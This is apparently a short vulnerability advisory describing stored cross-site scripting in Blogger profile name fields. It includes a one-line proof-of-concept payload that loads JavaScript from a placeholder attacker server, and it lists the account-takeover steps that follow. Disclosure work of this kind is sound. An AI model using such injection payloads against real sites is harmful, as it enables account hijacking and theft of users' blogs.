ABOUT BLOGGER;
- ------------------------------------------------------
Blogger is a web-based tool that helps you publish to the web
instantly -- whenever the urge strikes. Blogger is the leading tool
in the rapidly growing area of web publishing known as weblogs, or
"blogs."

by Google (Pyra Labs acquired by Google)

XSS DETAILS;
- ------------------------------------------------------
There is no HTML filter when rendering user profiles. So anyone can
inject a script into a profile's "First Name" "Last Name" etc.

If you inject a code into "First Name" this will be print and run in
users's first page [www.blogger.com], so an attacker can easily gain
victim's account.



        ------------------------------------------------------
        Proof Of Concept;
        ------------------------------------------------------
        Inject [script src="http://[ATTACKER-SERVER]/EVIL-JS/"][/script] to
victim "First Name"
        Now you can execute anything in remote.

        After login as your victim;
                  I. You can change password (without old password)
                 II. You can change e-mail address without any confirmation
                III. You can own the victim blogs

        
        *Replace ][,<>
        *Script injection is limited to 50 characters (but it's pretty
enough to add js script)
